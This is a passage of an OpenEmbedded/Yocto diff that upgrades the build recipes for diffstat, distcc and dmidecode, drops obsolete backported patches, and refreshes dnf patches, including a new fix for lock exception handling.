-DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
-the insertions, deletions, and modifications per-file. It is useful for \
-reviewing large, complex patch files."
-HOMEPAGE = "http://invisible-island.net/diffstat/"
-SECTION = "devel"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://install-sh;endline=42;md5=b3549726c1022bee09c174c72a0ca4a5"
-
-SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
- file://run-ptest \
- file://avoid-check-user-break-cc.patch \
- file://0001-aclocal.m4-add-missing-header-defines.patch \
- "
-
-SRC_URI[md5sum] = "b9272ec8af6257103261ec3622692991"
-SRC_URI[sha256sum] = "7eddd53401b99b90bac3f7ebf23dd583d7d99c6106e67a4f1161b7a20110dc6f"
-
-S = "${WORKDIR}/diffstat-${PV}"
-
-inherit autotools gettext ptest
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-LDFLAGS += "${TOOLCHAIN_OPTIONS}"
-
-do_install_ptest() {
- cp -r ${S}/testing ${D}${PTEST_PATH}
-}
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.66.bb b/meta/recipes-devtools/diffstat/diffstat_1.66.bb
new file mode 100644
index 0000000000..d59379fd2b
--- /dev/null
+++ b/meta/recipes-devtools/diffstat/diffstat_1.66.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tool to produce a statistics based on a diff"
+DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
+the insertions, deletions, and modifications per-file. It is useful for \
+reviewing large, complex patch files."
+HOMEPAGE = "http://invisible-island.net/diffstat/"
+SECTION = "devel"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5713b4719a66a6527e6301e8f8745877"
+
+SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
+ file://run-ptest \
+ file://avoid-check-user-break-cc.patch \
+ "
+
+SRC_URI[sha256sum] = "f54531bbe32e8e0fa461f018b41e3af516b632080172f361f05e50367ecbb69e"
+
+inherit autotools gettext ptest
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+LDFLAGS += "${TOOLCHAIN_OPTIONS}"
+
+do_install_ptest() {
+ cp -r ${S}/testing ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/distcc/distcc_3.3.3.bb b/meta/recipes-devtools/distcc/distcc_3.3.3.bb
deleted file mode 100644
index d92b9c3046..0000000000
--- a/meta/recipes-devtools/distcc/distcc_3.3.3.bb
+++ /dev/null
@@ -1,88 +0,0 @@
-SUMMARY = "A parallel build system"
-DESCRIPTION = "distcc is a parallel build system that distributes \
-compilation of C/C++/ObjC code across machines on a network."
-SECTION = "devel"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-DEPENDS = "avahi binutils"
-
-PACKAGECONFIG ??= "popt"
-PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
-# use system popt by default
-PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
-
-RRECOMMENDS_${PN}-server = "avahi-daemon"
-
-SRC_URI = "git://github.com/distcc/distcc.git \
- file://fix-gnome.patch \
- file://separatebuilddir.patch \
- file://0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch \
- file://default \
- file://distcc \
- file://distcc.service"
-SRCREV = "4cde9bcfbda589abd842e3bbc652ce369085eaae"
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig update-rc.d useradd systemd
-
-ASNEEDED = ""
-
-EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
-
-PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
-
-USERADD_PACKAGES = "${PN}-server"
-USERADD_PARAM_${PN}-server = "--system \
- --home /dev/null \
- --no-create-home \
- --gid nogroup \
- distcc"
-
-UPDATERCPN = "${PN}-server"
-INITSCRIPT_NAME = "distcc"
-
-SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "distcc.service"
-
-do_install() {
- # Improve reproducibility: compress w/o timestamps
- oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
- install -d ${D}${sysconfdir}/init.d/
- install -d ${D}${sysconfdir}/default
- install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_unitdir}/system/distcc.service
-}
-
-FILES_${PN}-server = "${sysconfdir} \
- ${bindir}/distccd \
- ${sbindir}"
-FILES_${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
- ${datadir}/applications \
- ${datadir}/pixmaps"
-
-#
-# distcc upstream dropped the 3.2 branch which we reference in older project releases
-# the revisions are there, just the branch is not. In order to be able to continue
-# to build those old releases, adjust any mirror tarball to contain the missing branch
-#
-fixup_distcc_mirror_tarball () {
- TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
- if [ -f $TBALL ]; then
- TDIR=`mktemp -d`
- cd $TDIR
- tar -xzf $TBALL
- set +e
- git rev-parse --verify 3.2
- if [ "$?" != "0" ]; then
- git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
- tar -czf $TBALL *
- fi
- set -e
- rm -rf $TDIR/*
- fi
-}
-do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/distcc_3.4.bb b/meta/recipes-devtools/distcc/distcc_3.4.bb
new file mode 100644
index 0000000000..45fc7cde53
--- /dev/null
+++ b/meta/recipes-devtools/distcc/distcc_3.4.bb
@@ -0,0 +1,88 @@
+SUMMARY = "A parallel build system"
+DESCRIPTION = "distcc is a parallel build system that distributes \
+compilation of C/C++/ObjC code across machines on a network."
+HOMEPAGE = "https://github.com/distcc/distcc"
+SECTION = "devel"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+DEPENDS = "avahi binutils"
+
+PACKAGECONFIG ??= "popt"
+PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
+# use system popt by default
+PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
+
+RRECOMMENDS:${PN}-server = "avahi-daemon"
+
+SRC_URI = "git://github.com/distcc/distcc.git;branch=master;protocol=https \
+ file://default \
+ file://distcc \
+ file://distcc.service \
+ "
+SRCREV = "50d821efe99cae82c05be0a4ab3b4035ef0d3883"
+S = "${WORKDIR}/git"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig update-rc.d useradd systemd
+
+ASNEEDED = ""
+
+EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
+
+PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
+
+USERADD_PACKAGES = "${PN}-server"
+USERADD_PARAM:${PN}-server = "--system \
+ --home /dev/null \
+ --no-create-home \
+ --gid nogroup \
+ distcc"
+
+UPDATERCPN = "${PN}-server"
+INITSCRIPT_NAME = "distcc"
+
+SYSTEMD_PACKAGES = "${PN}-server"
+SYSTEMD_SERVICE:${PN}-server = "distcc.service"
+
+do_install() {
+ # Improve reproducibility: compress w/o timestamps
+ oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
+ install -d ${D}${sysconfdir}/init.d/
+ install -d ${D}${sysconfdir}/default
+ install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_system_unitdir}/distcc.service
+}
+
+FILES:${PN}-server = "${sysconfdir} \
+ ${bindir}/distccd \
+ ${sbindir}"
+FILES:${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
+ ${datadir}/applications \
+ ${datadir}/pixmaps"
+
+#
+# distcc upstream dropped the 3.2 branch which we reference in older project releases
+# the revisions are there, just the branch is not. In order to be able to continue
+# to build those old releases, adjust any mirror tarball to contain the missing branch
+#
+fixup_distcc_mirror_tarball () {
+ TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
+ if [ -f $TBALL ]; then
+ TDIR=`mktemp -d`
+ cd $TDIR
+ tar -xzf $TBALL
+ set +e
+ git rev-parse --verify 3.2
+ if [ "$?" != "0" ]; then
+ git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
+ tar -czf $TBALL *
+ fi
+ set -e
+ rm -rf $TDIR/*
+ fi
+}
+do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch b/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch
deleted file mode 100644
index 86c07c11f8..0000000000
--- a/meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 98530865795300008fe06bb647a6fc2dddfc7967 Mon Sep 17 00:00:00 2001
-From: Romain Geissler <romain.geissler@amadeus.com>
-Date: Mon, 27 Jan 2020 09:28:43 +0000
-Subject: [PATCH] Fix build with gcc 10 which defaults to -fno-common (cf
- https://gcc.gnu.org/gcc-10/porting_to.html)
-
-This fixes the following link error I see when I use the latest gcc 10
-git branch:
-/opt/1A/toolchain/x86_64-v20.0.7/lib/gcc/x86_64-1a-linux-gnu/10.0.1/../../../../x86_64-1a-linux-gnu/bin/ld: src/serve.o:(.bss+0x0): multiple definition of `stats_text'; src/prefork.o:(.bss+0x0): first defined here
-/opt/1A/toolchain/x86_64-v20.0.7/lib/gcc/x86_64-1a-linux-gnu/10.0.1/../../../../x86_64-1a-linux-gnu/bin/ld: src/stats.o:(.data+0x20): multiple definition of `stats_text'; src/prefork.o:(.bss+0x0): first defined here
-collect2: error: ld returned 1 exit status
-
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/373]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/stats.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stats.h b/src/stats.h
-index 9bde285..74d4690 100644
---- a/src/stats.h
-+++ b/src/stats.h
-@@ -33,7 +33,7 @@ enum stats_e { STATS_TCP_ACCEPT, STATS_REJ_BAD_REQ, STATS_REJ_OVERLOAD,
- STATS_COMPILE_OK, STATS_COMPILE_ERROR, STATS_COMPILE_TIMEOUT,
- STATS_CLI_DISCONN, STATS_OTHER, STATS_ENUM_MAX };
-
--const char *stats_text[20];
-+extern const char *stats_text[20];
-
- int dcc_stats_init(void);
- void dcc_stats_init_kid(void);
---
-2.28.0
-
diff --git a/meta/recipes-devtools/distcc/files/fix-gnome.patch b/meta/recipes-devtools/distcc/files/fix-gnome.patch
deleted file mode 100644
index f1f5ed1a9f..0000000000
--- a/meta/recipes-devtools/distcc/files/fix-gnome.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/319]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 2faacc2be8d7eeee0a3f66d88fedd1d3ab11070e Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Micha=C5=82=20G=C3=B3rny?= <mgorny@gentoo.org>
-Date: Sat, 8 Dec 2018 12:50:07 +0100
-Subject: [PATCH] Fix desktop spec compliance of distccmon-gnome install
-
-Update the .desktop file and install rules for distccmon-gnome to
-conform to the freedesktop.org specifications. More specifically:
-
-- update to version 1.0 of the spec
-- remove obsolete 'Encoding' key
-- remove obsolete 'Application' category and add recommended 'GTK'
-- install icon file to the correct directory
-- strip suffix from desktop file (specifying it is deprecated)
-- while at it, remove redundant '-icon' from the filename
-- install desktop file to the correct directory
----
- Makefile.in | 18 ++++++++++--------
- gnome/distccmon-gnome.desktop | 7 +++----
- ...mon-gnome-icon.png => distccmon-gnome.png} | Bin
- src/mon-gnome.c | 2 +-
- 4 files changed, 14 insertions(+), 13 deletions(-)
- rename gnome/{distccmon-gnome-icon.png => distccmon-gnome.png} (100%)
-
-diff --git a/Makefile.in b/Makefile.in
-index 6e1e467..1106559 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -52,13 +52,14 @@ mandir = @mandir@
- includedir = @includedir@
- oldincludedir = /usr/include
- docdir = @docdir@
--pkgdatadir = $(datadir)/@PACKAGE_NAME@
-+icondir = $(datarootdir)/pixmaps
-+desktopdir = $(datarootdir)/applications
-
- include_server_builddir = $(builddir)/_include_server
-
- # These must be done from here, not from autoconf, because they can
- # contain variable expansions written in Make syntax. Ew.
--DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DPKGDATADIR="\"${pkgdatadir}\""
-+DIR_DEFS = -DLIBDIR="\"${libdir}\"" -DSYSCONFDIR="\"${sysconfdir}\"" -DICONDIR="\"${icondir}\""
-
- # arguments to pkgconfig
- GNOME_PACKAGES = @GNOME_PACKAGES@
-@@ -387,7 +388,7 @@ man_HTML = man/distcc_1.html man/distccd_1.html man/distccmon_text_1.html \
- man/lsdistcc_1.html man/pump_1.html man/include_server_1.html
- MEN = $(man1_MEN)
-
--gnome_data = gnome/distccmon-gnome-icon.png \
-+gnome_data = gnome/distccmon-gnome.png \
- gnome/distccmon-gnome.desktop
-
- popt_OBJS=popt/findme.o popt/popt.o popt/poptconfig.o \
-@@ -1033,7 +1034,8 @@ showpaths:
- @echo " programs $(DESTDIR)$(bindir)"
- @echo " sbin programs $(DESTDIR)$(sbindir)"
- @echo " system configuration $(DESTDIR)$(sysconfdir)"
-- @echo " shared data files $(DESTDIR)$(pkgdatadir)"
-+ @echo " icon file $(DESTDIR)$(icondir)"
-+ @echo " application file $(DESTDIR)$(desktopdir)"
-
-
- # install-sh can't handle multiple arguments, but we don't need any
-@@ -1129,10 +1131,10 @@ install-example: $(example_DOCS)
- done
-
- install-gnome-data: $(gnome_data)
-- $(mkinstalldirs) "$(DESTDIR)$(pkgdatadir)"
-- for p in $(gnome_data); do \
-- $(INSTALL_DATA) "$$p" "$(DESTDIR)$(pkgdatadir)" || exit 1; \
-- done
-+ $(mkinstalldirs) "$(DESTDIR)$(icondir)"
-+ $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
-diff --git a/gnome/distccmon-gnome.desktop b/gnome/distccmon-gnome.desktop
-index bd1fa26..7205f5e 100644
---- a/gnome/distccmon-gnome.desktop
-+++ b/gnome/distccmon-gnome.desktop
-@@ -1,6 +1,5 @@
- [Desktop Entry]
--Version=0.9.4
--Encoding=UTF-8
-+Version=1.0
- Exec=distccmon-gnome
- Name=distcc monitor
- Name[sv]=distcc övervakare
-@@ -8,9 +7,9 @@ GenericName=Distributed Compile Monitor
- GenericName[sv]=Distribuerad kompilerings-övervakare
- Comment=Graphical view of distributed compile tasks
- Comment[sv]=Grafisk vy av distribuerade kompileringsuppgifter
--Icon=distccmon-gnome-icon.png
-+Icon=distccmon-gnome
- TryExec=distccmon-gnome
- Terminal=false
- Type=Application
--Categories=GNOME;Application;Development;
-+Categories=GNOME;GTK;Development;
- StartupNotify=true
-diff --git a/gnome/distccmon-gnome-icon.png b/gnome/distccmon-gnome.png
-similarity index 100%
-rename from gnome/distccmon-gnome-icon.png
-rename to gnome/distccmon-gnome.png
-diff --git a/src/mon-gnome.c b/src/mon-gnome.c
-index 24681d0..bfc286d 100644
---- a/src/mon-gnome.c
-+++ b/src/mon-gnome.c
-@@ -599,7 +599,7 @@ static GtkWidget * dcc_gnome_make_mainwin (void)
-
- #if GTK_CHECK_VERSION(2,2,0)
- gtk_window_set_icon_from_file (GTK_WINDOW (mainwin),
-- PKGDATADIR "/distccmon-gnome-icon.png",
-+ ICONDIR "/distccmon-gnome.png",
- NULL);
- #endif
-
diff --git a/meta/recipes-devtools/distcc/files/separatebuilddir.patch b/meta/recipes-devtools/distcc/files/separatebuilddir.patch
deleted file mode 100644
index c8da9d51c3..0000000000
--- a/meta/recipes-devtools/distcc/files/separatebuilddir.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Backport [https://github.com/distcc/distcc/pull/363]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 469628ee8dc90c7162d1a850c0b179b7349f9cf3 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 17 Sep 2019 13:04:22 +0100
-Subject: [PATCH] Makefile.in: fix out-of-tree builds when the GNOME UI is
- enabled
-
-The install command doesn't use $(srcdir) so out-of-tree builds fail.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 123054f..b9ce974 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -1130,8 +1130,8 @@ install-example: $(example_DOCS)
- install-gnome-data: $(gnome_data)
- $(mkinstalldirs) "$(DESTDIR)$(icondir)"
- $(mkinstalldirs) "$(DESTDIR)$(desktopdir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-- $(INSTALL_DATA) gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.png "$(DESTDIR)$(icondir)"
-+ $(INSTALL_DATA) $(srcdir)/gnome/distccmon-gnome.desktop "$(DESTDIR)$(desktopdir)"
-
- install-conf: $(conf_files) $(default_files)
- $(mkinstalldirs) "$(DESTDIR)$(sysconfdir)/distcc"
---
-2.20.1
diff --git a/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch b/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch
deleted file mode 100644
index ce9d423104..0000000000
--- a/meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 00a3ace35d66e7ae60046e254a4d00f0f9c1abe2 Mon Sep 17 00:00:00 2001
-From: OpenEmbedded <oe.patch@oe>
-Date: Thu, 22 Nov 2018 12:05:04 +0000
-Subject: [PATCH] Do not install to /usr/local
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 77c9310..fc378fd 100644
---- a/Makefile
-+++ b/Makefile
-@@ -30,7 +30,7 @@ CFLAGS += -O2
- LDFLAGS =
-
- DESTDIR =
--prefix = /usr/local
-+prefix = /usr
- sbindir = $(prefix)/sbin
- mandir = $(prefix)/share/man
- man8dir = $(mandir)/man8
diff --git a/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb b/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb
deleted file mode 100644
index 63f4061cb7..0000000000
--- a/meta/recipes-devtools/dmidecode/dmidecode_3.2.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "DMI (Desktop Management Interface) table related utilities"
-HOMEPAGE = "http://www.nongnu.org/dmidecode/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/dmidecode/${BP}.tar.xz \
- file://0001-Committing-changes-from-do_unpack_extra.patch \
- "
-
-COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm|powerpc|powerpc64).*-linux"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-# The upstream buildsystem uses 'docdir' as the path where it puts AUTHORS,
-# README, etc, but we don't want those in the root of our docdir.
-docdir .= "/${BPN}"
-
-do_install() {
- oe_runmake DESTDIR="${D}" install
-}
-
-SRC_URI[md5sum] = "9cc2e27e74ade740a25b1aaf0412461b"
-SRC_URI[sha256sum] = "077006fa2da0d06d6383728112f2edef9684e9c8da56752e97cd45a11f838edd"
-
diff --git a/meta/recipes-devtools/dmidecode/dmidecode_3.5.bb b/meta/recipes-devtools/dmidecode/dmidecode_3.5.bb
new file mode 100644
index 0000000000..3e2bb6e30b
--- /dev/null
+++ b/meta/recipes-devtools/dmidecode/dmidecode_3.5.bb
@@ -0,0 +1,21 @@
+SUMMARY = "DMI (Desktop Management Interface) table related utilities"
+HOMEPAGE = "http://www.nongnu.org/dmidecode/"
+DESCRIPTION = "Dmidecode reports information about your system's hardware as described in your system BIOS according to the SMBIOS/DMI standard (see a sample output)."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/dmidecode/${BP}.tar.xz"
+
+COMPATIBLE_HOST = "(i.86|x86_64|aarch64|arm|powerpc|powerpc64).*-linux"
+
+do_install() {
+ oe_runmake \
+ DESTDIR="${D}" \
+ prefix="${prefix}" \
+ sbindir="${sbindir}" \
+ docdir="${docdir}/${BPN}" \
+ mandir="${mandir}" \
+ install
+}
+
+SRC_URI[sha256sum] = "79d76735ee8e25196e2a722964cf9683f5a09581503537884b256b01389cc073"
diff --git a/meta/recipes-devtools/dnf/dnf/0001-Corretly-install-tmpfiles.d-configuration.patch b/meta/recipes-devtools/dnf/dnf/0001-Corretly-install-tmpfiles.d-configuration.patch
index 6692b41a16..fd942228b9 100644
--- a/meta/recipes-devtools/dnf/dnf/0001-Corretly-install-tmpfiles.d-configuration.patch
+++ b/meta/recipes-devtools/dnf/dnf/0001-Corretly-install-tmpfiles.d-configuration.patch
@@ -1,11 +1,10 @@
-From 05e059cd4e9910c00b32d377f4f98e3c8dde6bc6 Mon Sep 17 00:00:00 2001
+From f70eb308c837f2c944e23bb680a501a605004d65 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 26 Jan 2017 16:36:20 +0200
-Subject: [PATCH 4/5] Corretly install tmpfiles.d configuration
+Subject: [PATCH] Corretly install tmpfiles.d configuration
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
etc/tmpfiles.d/CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
@@ -17,6 +16,3 @@ index f69c773e..3eb6d0e8 100644
@@ -1 +1 @@
-INSTALL (FILES dnf.conf DESTINATION /usr/lib/tmpfiles.d/)
+INSTALL (FILES dnf.conf DESTINATION ${SYSCONFDIR}/tmpfiles.d/)
---
-2.14.2
-
diff --git a/meta/recipes-devtools/dnf/dnf/0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch b/meta/recipes-devtools/dnf/dnf/0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch
index cb09f17a56..37359a5765 100644
--- a/meta/recipes-devtools/dnf/dnf/0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch
+++ b/meta/recipes-devtools/dnf/dnf/0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch
@@ -1,17 +1,16 @@
-From ffb7942cc73c3d2c6aa7c689cdaf9bc0bcbc144b Mon Sep 17 00:00:00 2001
+From 3ca6d14fbc6419ff6239b4ba16f77da20fb31d03 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 26 Jan 2017 16:25:47 +0200
Subject: [PATCH] Do not hardcode /etc and systemd unit directories
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 73552967..38cf4fbf 100644
+index 4aee99fb..9e2e9e9e 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -3,8 +3,8 @@ CMAKE_MINIMUM_REQUIRED (VERSION 2.4)
diff --git a/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch b/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch
index 21b50dee01..18f9a30949 100644
--- a/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch
+++ b/meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch
@@ -1,4 +1,4 @@
-From 5e07c16a506b19cbb107d5e99fca41d679b23b9a Mon Sep 17 00:00:00 2001
+From 049e2832284ab883e185d9020c881518a68e6c38 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 28 Apr 2020 15:55:00 +0200
Subject: [PATCH] dnf: write the log lock to root
@@ -15,10 +15,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dnf/logging.py b/dnf/logging.py
-index bd660470..a9d808b1 100644
+index ef0b25f3..94610af6 100644
--- a/dnf/logging.py
+++ b/dnf/logging.py
-@@ -94,7 +94,7 @@ class MultiprocessRotatingFileHandler(logging.handlers.RotatingFileHandler):
+@@ -118,7 +118,7 @@ class MultiprocessRotatingFileHandler(logging.handlers.RotatingFileHandler):
def __init__(self, filename, mode='a', maxBytes=0, backupCount=0, encoding=None, delay=False):
super(MultiprocessRotatingFileHandler, self).__init__(
filename, mode, maxBytes, backupCount, encoding, delay)
diff --git a/meta/recipes-devtools/dnf/dnf/0001-lock.py-fix-Exception-handling.patch b/meta/recipes-devtools/dnf/dnf/0001-lock.py-fix-Exception-handling.patch
new file mode 100644
index 0000000000..6bffe9af0a
--- /dev/null
+++ b/meta/recipes-devtools/dnf/dnf/0001-lock.py-fix-Exception-handling.patch
@@ -0,0 +1,62 @@
+From 3881757eabfde2ff54400ab127b106ab085d83f0 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 13 Mar 2024 11:22:05 +0800
+Subject: [PATCH] lock.py: fix Exception handling
+
+Before, when logdir is not writable, _try_lock will raise an Exception
+like "Permission denied: '/var/log/log_lock.pid'", and in this case,
+_unlock_thread will not be called and the variable count will not be
+handled, it maybe cause log_lock.pid not be deleted in case like [1].
+
+For [1], it is an cross compile case, when dnf install some packages to
+rootfs, seems like some threads don't do chroot like work, some threads
+do chroot like work. so for the threads don't do chroot, "Permission denied"
+Exception happend, for the threads that do chroot, log_lock.pid will be
+created under installroot/var/log/log_lock.pid, since variable count not
+handled correct before, log_lock.pid may not be deleted correctly.
+
+So fixed like this, if _try_lock raise Exception, _unlock_thread first,
+then raise the Exception.
+
+[1] https://github.com/rpm-software-management/dnf/issues/1963
+
+Upstream-Status: Submitted [ https://github.com/rpm-software-management/dnf/pull/2065 ]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ dnf/lock.py | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/dnf/lock.py b/dnf/lock.py
+index 6817aac9..5718062a 100644
+--- a/dnf/lock.py
++++ b/dnf/lock.py
+@@ -128,7 +128,11 @@ class ProcessLock(object):
+ self._lock_thread()
+ prev_pid = -1
+ my_pid = os.getpid()
+- pid = self._try_lock(my_pid)
++ try:
++ pid = self._try_lock(my_pid)
++ except Exception:
++ self._unlock_thread()
++ raise
+ while pid != my_pid:
+ if pid != -1:
+ if not self.blocking:
+@@ -140,7 +144,11 @@ class ProcessLock(object):
+ logger.info(msg)
+ prev_pid = pid
+ time.sleep(1)
+- pid = self._try_lock(my_pid)
++ try:
++ pid = self._try_lock(my_pid)
++ except Exception:
++ self._unlock_thread()
++ raise
+
+ def __exit__(self, *exc_args):
+ if self.count == 1:
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch b/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch
index 448f6408bc..fcd970a7ae 100644
--- a/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch
+++ b/meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch
@@ -1,4 +1,4 @@
-From 7e79b3b67fd5cecd7380e7e365fd88eca63b5bfa Mon Sep 17 00:00:00 2001
+From fa32c7dcabaa3c00d3620a3266e49629365c0cbe Mon Sep 17 00:00:00 2001
From: Jeremy Puhlman <jpuhlman@mvista.com>
Date: Wed, 11 Mar 2020 22:10:02 +0000
Subject: [PATCH] set python path for completion_helper
@@ -10,7 +10,7 @@ Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dnf/cli/completion_helper.py.in b/dnf/cli/completion_helper.py.in
-index 351226759..2835cd3b6 100644
+index 0da0f2a2..9330d15b 100644
--- a/dnf/cli/completion_helper.py.in
